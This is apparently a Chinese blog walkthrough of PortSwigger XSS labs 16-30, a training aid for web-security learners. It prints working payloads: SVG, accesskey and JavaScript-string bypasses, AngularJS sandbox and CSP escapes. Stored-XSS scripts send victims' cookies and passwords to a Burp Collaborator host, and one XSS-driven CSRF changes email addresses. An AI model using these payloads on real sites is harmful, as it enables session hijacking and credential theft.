burp靶场--xss下篇【16-30】

burp靶场–xss下篇【16-30】

https://portswigger.net/web-security/all-labs#cross-site-scripting

实验16:允许使用一些 SVG 标记的反射型 XSS

### 实验要求:
该实验室有一个简单的反射型 XSS漏洞。该网站阻止了常见标签,但错过了一些 SVG 标签和事件。
要解决该实验室问题,请执行调用该函数的跨站点脚本alert()攻击。

### 实验操作:
注入标准 XSS 负载,例如:

<img src=1 onerror=alert(1)>
观察该有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
打开Burp的浏览器并使用实验室中的搜索功能。将生成的请求发送给 Burp Intruder。
在 Burp Intruder 的“位置”选项卡中,单击“清除§”。
在请求模板中,将搜索词的值替换为:<>
将光标放在尖括号之间,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:<§§>
访问XSS 备忘单并单击“将标签复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。<svg>观察到所有有效负载都导致了 HTTP 400 响应,但使用、<animatetransform>、<title>和标签的有效负载除外<image>,它们收到了 200 响应。
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:

<svg><animatetransform%20=1>
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:

<svg><animatetransform%20§§=1>
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。请注意,除了导致 200 响应的有效负载之外,所有有效负载onbegin都会导致 HTTP 400 响应。

在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:

https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

查看输入输出:
在这里插入图片描述
测试常用payload被阻止:
在这里插入图片描述

搜索框测试:
在这里插入图片描述
Fuzz支持的标签:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
在这里插入图片描述
在这里插入图片描述
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:

<animatetransform%20=1>
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:

<animatetransform%20§§=1>
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:

https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
我的是:
https://0aa50066031b5831809cd0a3006f00ee.h1-web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
在这里插入图片描述
在这里插入图片描述

实验17:规范链接标签中反射的 XSS

### 实验要求:
本实验在规范链接标记中反映用户输入并转义尖括号。

要完成该实验,请在主页上执行跨站点脚本alert攻击,注入调用该函数的属性。

为了帮助您利用漏洞,您可以假设模拟用户将按下以下组合键:

ALT+SHIFT+X
CTRL+ALT+X
Alt+X
请注意,本实验的预期解决方案只能在 Chrome 中实现。

### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:

https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,alert将调用该函数。

要对自己触发漏洞利用,请按以下组合键之一:
在 Windows 上:ALT+SHIFT+X
在 MacOS 上:CTRL+ALT+X
在 Linux 上:Alt+X

在这里插入图片描述
浏览器访问:https://0a51005504cd9d4e8197896b007a00de.web-security-academy.net/?%27accesskey=%27x%27οnclick=%27alert(1)
在这里插入图片描述

实验18:将 XSS 反射到 JavaScript 字符串中,并转义单引号和反斜杠

### 实验要求:
该实验室在搜索查询跟踪功能中包含反映的跨站点脚本漏洞。反射发生在单引号和反斜杠转义的 JavaScript 字符串内。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。

### 实验要求:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
将您的输入替换为以下有效负载以突破脚本块并注入新脚本:

</script><script>alert(1)</script>
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

实验19:将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义

### 实验要求:
该实验室在搜索查询跟踪功能中包含一个反映的跨站点脚本漏洞,其中尖括号和双引号是 HTML 编码的,单引号被转义。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。

### 实验操作:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
尝试发送有效负载test\payload并观察您的反斜杠没有被转义。
将您的输入替换为以下有效负载,以打破 JavaScript 字符串并注入警报:
\'-alert(1)//
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验20:使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码并转义单引号和反斜杠

### 实验要求:
该实验在评论功能中包含一个存储的跨站点脚本漏洞。
要完成此实验,请提交一条评论,该评论将alert在单击评论作者姓名时调用该函数。

### 实验操作:
在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
观察第二个 Repeater 选项卡中的随机字符串已反映在onclick事件处理程序属性内。
再次重复该过程,但这次修改您的输入以注入调用 的 JavaScript URL alert,使用以下有效负载:
http://foo?&apos;-alert(1)-&apos;
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。

发布评论,查看评论:
在这里插入图片描述

在这里插入图片描述
测试过滤:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
插入恶意js:注意重放器中提交恶意js实验失败,&符号被html编码:
在这里插入图片描述
在这里插入图片描述

直接使用浏览器提交恶意js:
在这里插入图片描述

在这里插入图片描述

实验21:将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义

实验22:利用跨站点脚本窃取 cookie

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的会话 cookie,然后使用该 cookie 冒充受害者。

### 实验操作:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
此脚本将使查看评论的任何人向公共 Collaborator 服务器上的子域发出包含其 cookie 的 POST 请求。

返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者 cookie 的值。
重新加载博客主页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送请求以解决实验室问题。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来/my-account加载管理员用户的帐户页面。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其会话 cookie 。然而,这远没有那么微妙,因为它公开暴露了 cookie,并且还公开了执行攻击的证据。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

secret=j6QrPgsSKullI388Ifkwe2W975FISQjd; session=5HEJcBcF8kpfb9Xtb0l6N8REecKh85yQ
在这里插入图片描述

实验23:利用跨站点脚本捕获密码

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。

### 实验说明:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
此脚本将使查看评论的任何人向您的公共 Collaborator 服务器的子域发出包含其用户名和密码的 POST 请求。

返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者的用户名和密码的值。
使用凭据以受害者用户身份登录。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其凭据。然而,这远没有那么微妙,因为它公开暴露了用户名和密码,并且还公开了执行攻击的证据。

评论处提交恶意js:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验24:利用XSS进行CSRF

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。要解决该实验室问题,请利用该漏洞执行 CSRF 攻击并更改查看博客文章评论的人员的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
如果您查看该页面的源代码,您将看到以下信息:
您需要向 发出 POST 请求/my-account/change-email,并使用名为 的参数email。
在名为 的隐藏输入中有一个反 CSRF 令牌token。
这意味着您的利用需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
在博客评论中提交以下有效负载:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
这将使查看评论的任何人发出 POST 请求,将其电子邮件地址更改为test@test.com。

在这里插入图片描述
构造XSS

攻击需要加载用户帐户页面,提取CSRF令牌,然后使用该令牌更改受害者的电子邮件地址
在这里插入图片描述
查看博客评论,查看的受害者的邮箱被修改:
在这里插入图片描述

实验25:使用 AngularJS 沙箱转义(不带字符串)反射 XSS

### 实验要求:
本实验以一种不寻常的方式使用 AngularJS,其中该$eval函数不可用,并且您将无法在 AngularJS 中使用任何字符串。
要解决该实验室问题,请执行跨站点脚本攻击,该攻击可以逃脱沙箱并alert在不使用该$eval函数的情况下执行该函数。

### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:

https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞用于toString()创建一个不使用引号的字符串。然后它获取String原型并覆盖charAt每个字符串的函数。这有效地破坏了 AngularJS 沙箱。接下来,将一个数组传递给orderBy过滤器。toString()然后,我们再次使用创建字符串和构造函数属性来设置过滤器的参数String。最后,我们使用该fromCharCode方法通过将字符代码转换为字符串来生成我们的有效负载x=alert(1)。因为该charAt函数已被覆盖,所以 AngularJS 将允许在通常不允许的情况下使用此代码。

解决实验:执行一个跨站点脚本攻击,该攻击可以跳出沙箱并在不使用$eval函数的情况下执行alert函数

part1:

payload:

访问以下URL(将YOUR-LAB-ID替换为您的实验室ID)

https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

我的是:
https://0ad900d4034b4aad8215badb00560084.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
原理:

1、该漏洞利用使用toString()创建不使用引号的字符串。然后获取String原型并为每个字符串重写charAt函数。这有效地打破了AngularJS沙箱。

2、将数组传递给orderBy筛选器。

3、再次使用toString()创建一个字符串和String构造函数属性来设置过滤器的参数。

4、使用fromCharCode方法将字符代码转换为字符串x=alert(1),从而生成有效负载。因为charAt函数已被覆盖,AngularJS将允许此代码,而通常不会允许此代码

在这里插入图片描述

实验26:使用 AngularJS 沙箱逃逸和 CSP 反射 XSS

### 实验要求:
本实验室使用 CSP 和 AngularJS。
要解决该实验室问题,请执行跨站点脚本攻击,绕过 CSP、逃离 AngularJS 沙箱并发出警报document.cookie。

### 实验操作:
转到漏洞利用服务器并粘贴以下代码,替换YOUR-LAB-ID为您的实验室 ID:

<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
单击“存储”和“向受害者提供漏洞利用”。
该漏洞利用ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。它还使用$event,它是引用事件对象的 AngularJS 变量。该path属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含该window对象。

通常,|在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是过滤orderBy器。冒号表示正在发送到过滤器的参数。在参数中,alert我们没有直接调用函数,而是将其分配给变量z。orderBy仅当操作到达数组window中的对象时才会调用该函数$event.path。这意味着它可以在窗口范围内调用,而无需显式引用该window对象,从而有效地绕过 AngularJS 的window检查。

1、内容安全策略(CSP)绕过的工作方式与标准沙箱转义类似,但通常涉及一些HTML注入。当CSP模式在AngularJS中处于活动状态时,它以不同的方式解析模板表达式,并避免使用Function构造函数。这意味着上面描述的标准沙箱转义将不再起作用。

2、根据特定的策略,CSP将阻止JavaScript事件。但是,AngularJS定义了自己的事件,可以替代使用。在事件内部时,AngularJS定义一个特殊的 $event对象,该对象仅引用浏览器事件对象。可以使用此对象执行CSP绕过。在Chrome上,有一个特殊的属性 $event/event 对象调用path。此属性包含导致事件执行的对象数组。最后一个属性始终是window对象,我们可以使用它来执行沙箱转义。通过将此数组传递给orderBy过滤器,我们可以枚举数组并使用最后一个元素(window对象)来执行全局函数,例如alert()。

下面的代码演示了这一点:

这里使用了from()函数,它允许您将对象转换为数组,并对该数组的每个元素调用给定函数(在第二个参数中指定)。在本例中,调用alert()函数。不能直接调用函数,因为AngularJS沙盒会解析代码并检测到window对象正被用于调用函数。相反,使用 from()函数可以有效地隐藏沙箱中的window对象,从而允许注入恶意代码

3、使用AngularJS沙箱转义绕过CSP

当使用了长度限制,因此上面的向量将不起作用。需要考虑各种隐藏windowAngularJS沙盒中的对象。

执行此操作的一种方法是使用 array.map()功能如下:
[1].map(alert)
map()接受一个函数作为参数,并为数组中的每一项调用该函数。这将绕过沙箱,因为对alert()函数的引用没有显式引用窗口。尝试各种方法来执行alert(),而不触发AngularJS的窗口检测
在这里插入图片描述
在这里插入图片描述

实验27:事件处理程序和href属性被阻止的反射型 XSS

### 实验要求:
该实验室包含一个反射型 XSS 漏洞,带有一些白名单标签,但所有事件和锚点href属性都被阻止。
要解决该实验室问题,请执行跨站点脚本攻击,注入一个向量,单击该向量即可调用该alert函数。
请注意,您需要使用“Click”一词来标记您的矢量,以诱导模拟实验室用户单击您的矢量。例如:
<a href="">Click me</a>

### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

在这里插入图片描述
在这里插入图片描述

实验28:JavaScript URL 中反映了 XSS,并阻止了某些字符

### 实验要求:
本实验反映了您在 JavaScript URL 中的输入,但一切并不像看上去的那样。乍一看,这似乎是一个微不足道的挑战;但事实上,这似乎是一个微不足道的挑战。但是,该应用程序正在阻止某些字符以试图防止 XSS 攻击。

要完成该实验,请执行跨站点脚本攻击,该攻击使用消息中某处包含的alert字符串调用该函数。 1337alert

### 实验操作:

```访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:

https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
实验室将被解决,但只有当您单击页面底部的“返回博客”时才会调用警报。

该漏洞利用异常处理来调用alert带有参数的函数。使用该throw语句时,用空白注释分隔,以避免无空格限制。该alert函数被分配给onerror异常处理程序。

由于throw是语句,因此不能用作表达式。相反,我们需要使用箭头函数创建一个块,以便throw可以使用该语句。然后我们需要调用这个函数,因此我们将它分配给 的toString属性window,并通过强制 的字符串转换来触发它window。

本实验反映了在JavaScript URL中的输入,但并非一切都像看上去的那样。这最初看起来像是一个微不足道的挑战,但应用程序阻止了一些字符,试图防止XSS攻击

解决实验:执行跨站点脚本攻击,该攻击使用alert消息中某处包含的字符串1337调用alert函数

part1:

payload:

5&‘},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+’‘,{x:’
URL编码:

5&%27},x=x=%3E{throw/**/οnerrοr=alert,1337},toString=x,window%2b%27%27,{x:%27
利用漏洞攻击使用异常处理调用带有参数的alert函数。使用throw语句,用一个空白注释分隔,以绕过没有空格的限制。alert函数被分配给onerror异常处理程序。

由于throw是一个语句,因此不能用作表达式。相反需要使用箭头函数来创建一个块,以便可以使用throw语句。然后需要调用这个函数,所以将它赋给window的toString属性,并通过强制window进行字符串转换来触发它。

在这里插入图片描述

实验29:反射型 XSS 受非常严格的 CSP 保护,具有悬空标记攻击【略…】

### 实验要求:
本实验使用严格的 CSP,阻止对外部网站的传出请求。
要解决该实验室问题,首先执行跨站点脚本攻击,绕过 CSP 并使用 Burp Collaborator 窃取模拟受害者用户的 CSRF 令牌。然后,您需要将模拟用户的电子邮件地址更改为hacker@evil-user.net。
您必须用“Click”一词标记您的矢量,以诱导模拟用户单击它。例如:
<a href="">Click me</a>
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
使用上面提供的帐户登录实验室。
检查更改电子邮件功能。观察参数中存在XSS漏洞email。
转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
回到实验室,转到漏洞利用服务器并添加以下代码,分别将YOUR-LAB-ID和替换YOUR-EXPLOIT-SERVER-ID为您的实验室 ID 和漏洞利用服务器 ID,并替换YOUR-COLLABORATOR-ID为您刚刚从 Burp Collaborator 复制的有效负载。

<script>
if(window.name) {
		new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
单击“存储”,然后单击“向受害者提供漏洞利用”。当用户访问包含此恶意脚本的网站时,如果他们在仍登录实验室网站的情况下单击“Click me”链接,他们的浏览器将向您的恶意网站发送包含 CSRF 令牌的请求。然后,您可以使用 Burp Collaborator 窃取此 CSRF 令牌。
返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该看到由应用程序发起的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。
打开Burp的拦截功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任意随机地址的请求。
在Burp中,转到拦截的请求并将email参数的值更改为hacker@evil-user.net。
右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。
单击“选项”并确保激活“包括自动提交脚本”。
单击“重新生成”更新 CSRF HTML,使其包含被盗的令牌,然后单击“复制 HTML”将其保存到剪贴板。
删除请求并关闭拦截功能。
返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。
单击“存储”和“向受害者提供漏洞利用”。用户的电子邮件将更改为hacker@evil-user.net。

第一步:正常用登陆:wiener:peter
在这里插入图片描述
在这里插入图片描述
(将YOUR-LAB-ID和YOUR-EXPLOIT-SERVER-ID分别替换为实验室ID和漏洞利用服务器ID,并将YOUR-COLABORATOR-ID替换为刚刚从Burp Collaborator复制的有效负载)

我的是:

提交代码到自己控制的服务器:
在这里插入图片描述

单击"存储",然后单击"向受害者发送利用漏洞攻击"。当用户访问包含此恶意脚本的网站时,如果他们在仍登录的情况下单击"Click me"链接,其浏览器将向您的恶意网站发送包含其CSRF令牌的请求。然后可以使用Burp Collaborator客户端窃取这个CSRF令牌。
在这里插入图片描述

实验30:反射型 XSS 受 CSP 保护,具有 CSP 绕过功能【略…】

参考:

### burp官方xss payload:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
### 【Burp系列】超全XSS跨站漏洞实验总结[上]
https://mp.weixin.qq.com/s/mQuMaEZW90VWdE_kde85hw
### 【Burp系列】超全XSS跨站漏洞实验总结[下]
https://mp.weixin.qq.com/s/Ouh2JL9F659U0p6HuLHS_g
###  burp官方:
https://portswigger.net/web-security/cross-site-scripting
### owasp xss:
### 跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery
### 反射型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
### 存储型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting
### DOM型:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting
### 跨站脚本包含:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion
### Cross Site Flashing:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing
### payloadsallthings xss:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

### xss src挖掘:
https://mhtsec.com/index.php/archives/24/
https://zhuanlan.zhihu.com/p/22674164
https://websec.readthedocs.io/zh/latest/vuln/xss/index.html
https://_thorns.gitbooks.io/sec/content/yi_ci_zhen_dui_cun_chu_xing_xss_de_fuzzing.html

## xss bypass
https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/359393.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

win wsl2 Ubuntu-22.04 设置时间为国内时间

使用 wsl2 安装 Ubuntu-22.04 后 时间不正确&#xff0c;主要有两个原因 时区设置不正确&#xff0c;国内为京八区。 时区正确后&#xff0c;没有同步时间。&#xff08;大部分人容易忽略这一点&#xff09; Linux 默认情况下使用 UTC 格式作为标准时间格式&#xff0c;如果在…

云原生Kubernetes: Ubuntu 安装 K8S 1.23版本(单Master架构) 及故障恢复

目录 一、实验 1.环境 2.安装 Ubuntu 3.连接Ubuntu 4.master节点安装docker 5.node节点安装docker 6.master节点安装K8S 7.添加K8S工作节点 8.安装网络插件calico 9.故障 10.故障恢复 11.测试k8s网络和coredns 二、问题 1.Ubuntu如何修改镜像源 2.Ubuntu和Windo…

STM32F407移植OpenHarmony笔记3

接上一篇&#xff0c;搭建完环境&#xff0c;找个DEMO能跑&#xff0c;现在我准备尝试从0开始搬砖。 首先把/device和/vendor之前的代码全删除&#xff0c;这个时候用hb set命令看不到任何项目了。 /device目录是硬件设备目录&#xff0c;包括soc芯片厂商和board板级支持代码…

Qt 基础之QDataTime

Qt 基础之QDataTime 引言一、获取(设定)日期和时间二、时间戳三、时间计算 (重载运算符) 引言 QDataTime是Qt框架中用于处理日期和时间的类。它提供了操作和格式化日期、时间和日期时间组合的功能。QDataTime可以用于存储和检索日期和时间、比较日期和时间、对日期和时间执行算…

华为——NGFW Module安装在集群交换机上,二层双机负载分担部署,交换机重定向引流

NGFW Module安装在集群交换机上&#xff0c;二层双机负载分担部署&#xff0c;交换机重定向引流 业务需求 如图1所示&#xff0c;两台交换机集群组网&#xff0c;两块NGFW Module分别安装在两台交换机的1号槽位组成双机负载分担组网。NGFW Module工作在二层&#xff0c;也就是…

FileViewer纯前端预览项目Vue2 demo

FileViewer 项目Vue2 demo 本demo基于vue-clijsvue2.x构建&#xff0c;如果您需要vue3版本的demo&#xff0c;请前往main分支。 适用于Vue2 Webpack&#xff0c;本集成方法要求最低Webpack版本为5&#xff0c;也就是Vue Cli Service 5.0.0以上&#xff0c;当然&#xff0c;if…

响应式Web开发项目教程(HTML5+CSS3+Bootstrap)第2版 例5-4 Document

代码 <!doctype html> <html> <head> <meta charset"utf-8"> <title>Document</title> </head><body> <canvas id"cavsElem" width"400" height"600">您的浏览器不支持Canvas…

flutter module打包成framework引入原生工程

Flutter - 将 Flutter 集成到现有项目&#xff08;iOS - Framework篇&#xff09; 本篇文章大幅参考了 caijinglong 大佬的总结文章&#xff1a; 把flutter作为framework添加到已存在的iOS中[1] 用 Flutter 来开发&#xff0c;从来都不可能是新开的一个纯 Flutter 项目&#xf…

【LVGL源码移植环境搭建】

LVGL源码移植&环境搭建 ■ LVGL源码移植■ 下载LVGL源码■ 修改LVGL文件夹■■■■ 视频链接 Ubuntu模拟器环境建置 ■ LVGL源码移植 ■ 下载LVGL源码 LVGL源码 我们以选择v8.2.0为例&#xff0c;选择8.2.0下载 ■ 修改LVGL文件夹 1.我们只需要关注这5个文件即可&…

java常量和kotlin常量

在java中使用final声明常量在kotlin中使用const val声明常量 常量在编译为字节码后会直接把调用常量的地方直接替换为常量值&#xff0c;示例如下&#xff1a; public class ConstDemo {public static final String NAME "Even";private static final int ID 100…

PythonSSTI漏洞

一&#xff0c;python内置PYC反编译&#xff1a; pyc文件&#xff0c;就是python的代码生成的字节码文件&#xff0c;有些类似于Java中的.class文件&#xff0c;pyc文件可以经过本地python解释器进行运行&#xff0c;从而实现跨平台。 也就是说我们得到了.pyc文件&#xff0c;就…

Selenium 隐藏浏览器指纹特征的几种方式

我们使用 Selenium 对网页进行爬虫时&#xff0c;如果不做任何处理直接进行爬取&#xff0c;会导致很多特征是暴露的 对一些做了反爬的网站&#xff0c;做了特征检测&#xff0c;用来阻止一些恶意爬虫 本篇文章将介绍几种常用的隐藏浏览器指纹特征的方式 1. 直接爬取 目标对…

vector的相关概念及常用接口

vector的基本概念 功能&#xff1a; vector容器与数组非常类似&#xff0c;也称单端数组&#xff08;动态数组&#xff09; vector容器的内部结构图示&#xff1a; vector与普通数组之间的区别&#xff1a; vector可以动态扩展&#xff0c;而普通数组是静态空间&#xff0c…

STM32——ADC

STM32——ADC 1.ADC介绍 ADC是什么&#xff1f; 全称&#xff1a;Analog-to-Digital Converter&#xff0c;指模拟/数字转换器! ADC性能指标 量程&#xff1a;能测量的电压范围分辨率&#xff1a;ADC能辨别的最小模拟量&#xff0c;通常以输出二进制数的位数表示&#xf…

openGauss学习笔记-211 openGauss 数据库运维-高危操作一览表

文章目录 openGauss学习笔记-211 openGauss 数据库运维-高危操作一览表211.1 禁止操作211.2 高危操作 openGauss学习笔记-211 openGauss 数据库运维-高危操作一览表 各项操作请严格遵守指导书操作&#xff0c;同时避免执行如下高危操作。 211.1 禁止操作 表1中描述在产品的操…

python二维高斯热力图绘制简单的思路代码

import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import gaussian_filter import cv2# 生成一个示例图像 image_size 100 image np.zeros((image_size, image_size))# 在图像中心创建一个高亮区域 center_x, center_y image_size // 2, image_size …

visual studio2022专业版安装步骤

目录 一、Visual studio下载二、创建C#项目——Hello World三、专业版秘钥激活 一、Visual studio下载 首先进入下载官网 先下载2022专业版&#xff0c;等等后面还需要选环境 我勾选了以下几个和c#开发有关的&#xff0c;后面缺什么还可以再安装所有以少勾了问题也不大 然后…

互联网加竞赛 基于深度学习的人脸表情识别

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的人脸表情识别 该项目较…

解密数据清洗,SQL中的数据分析

